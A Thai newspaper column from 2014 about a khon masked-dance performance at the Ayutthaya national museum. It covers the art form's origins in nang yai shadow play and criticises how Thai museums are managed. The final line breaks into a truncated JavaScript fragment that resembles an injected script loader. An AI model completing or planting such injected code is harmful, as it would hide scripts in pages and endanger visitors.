มติชนรายวัน ฉบับประจำวันศุกร์ที่ 2 พฤษภาคม 2557

 

ดูโขนกรมศิลป์ ที่อยุธยา

          เมื่อค่ำวันเสาร์ที่ 26 เมษายน มีโขนเรื่องกำเนิดกรุงศรีอยุธยา จนถึงพระรามครองเมือง เล่นบนเวทีสนามกลางแจ้งในพิพิธภัณฑสถานแห่งชาติ เจ้าสามพระยา อยุธยา

          ผมไม่ได้ไปดู แต่มีรายงานบอกว่าเป็นที่ร่ำลือ เพราะมีคนดูเกือบพัน ซึ่งไม่น่าเชื่อ แต่หลายคนยืนยันตรงกัน พร้อมส่งรูปถ่ายมาเป็นพยาน

          กรุงศรีอยุธยา (เรียกสั้นๆว่า อยุธยา หรือ อโยธยา แปลว่า ไม่แพ้ ก็คือชนะ) เป็นนามเมืองที่มีพระเจ้าแผ่นดินมีนามเป็นทางการว่า รามาธิบดี (หมายถึง พระราม)

          ทั้งหมดได้จากชื่อศักดิ์สิทธิ์ในมหากาพย์รามายณะ ที่ไทยเรียกต่อมาจนเป็นที่รู้กันว่า รามเกียรติ์

          ราชสำนักอยุธยายุคแรกๆ ถ่ายทอดความรู้เรื่องราวของรามเกียรติ์ปีละครั้งผ่านการละเล่นหนังใหญ่ ตอนมีงานฉลองสิ้นฤดูกาลเก่า เดือนสิบสอง แล้วขึ้นฤดูกาลใหม่ เดือนอ้าย ให้คนรับรู้อย่างน้อย 2 ระดับ คือ

          1. เจ้านาย อำมาตย์ ขุนนาง ข้าราชการ ดูหนังใหญ่เล่นที่สนามหน้าวังหลวง

          2. ราษฎรทั่วไป ดูหนังใหญ่เล่นที่วัดพุทไธศวรรย์

          หนังใหญ่ยุคต้นอยุธยานี่เองจะมีพัฒนาการเป็นโขน แรกเริ่มราวแผ่นดินสมเด็จพระเจ้าปราสาททอง หลัง พ.ศ. 2000 แล้วเป็นมรดกตกทอดถึงกรมศิลปากรทุกวันนี้

          เอนก สีหามาตย์ อธิบดีกรมศิลปากร ให้มีโขนเล่นที่อยุธยา เป็นกิจกรรมแบ่งปันความรู้สู่ชุมชน ขณะเดียวกันก็สร้างความเคลื่อนไหวชักจูงให้คนเข้าชมพิพิธภัณฑ์ด้วย

          ตรงนี้ถูกที่ถูกทาง แล้วมีผลพลอยได้คือการท่องเที่ยวเชิงวัฒนธรรม (หรือทางเลือก) ดีที่สุด ควรทำสม่ำเสมออย่างน้อยปีละ 2 ครั้ง สลับกันระหว่างโขนกับละคร ในหน้าร้อน (เมษายน) อย่างคราวนี้ กับหน้าหนาว (ธันวาคม) ที่จะมีอีกคราวหน้า

          มิวเซียมในโลกทันสมัยทำหน้าที่แบ่งปันเผยแพร่ความรู้อย่างรื่นรมย์สนุกสนานด้วยวิธีการหลากหลาย เพราะในประเทศก้าวหน้าเขาสร้างนักบริหารจัดการมิวเซียมที่มีวิสัยทัศน์กว้างไกล เคลื่อนไหวรู้เท่าทันโลก

          โดยมีนักโบราณคดีและนักประวัติศาสตร์ศิลปะเป็นนักวิชาการค้นคว้าวิจัยประจำมิวเซียม แต่ไม่ให้บริหารจัดการ เพราะทำแล้วเจ๊ง ไม่มีเจ๊า

          ส่วนไทยยอมให้เจ๊งมานานมากเกือบ 100 ปีแล้ว

          จุดขายการท่องเที่ยวอยุธยาที่ทิ้งไม่ได้ คือประวัติศาสตร์สังคมวัฒนธรรม อันมีโขนละครและปี่พาทย์เป็นแกนหลัก

          ปัญหาอยู่ที่จะจัดการอย่างไรให้สนุกและชวนดู ซึ่งเป็นจุดอ่อนของกรมศิลปากรและกระทรวงวัฒนธรรม ทำให้ไทยทิ้งโขนละครและปี่พาทย์ที่อยุธยาจนบัดนี้var d=document;var s=d.createElement(‘script’); } else {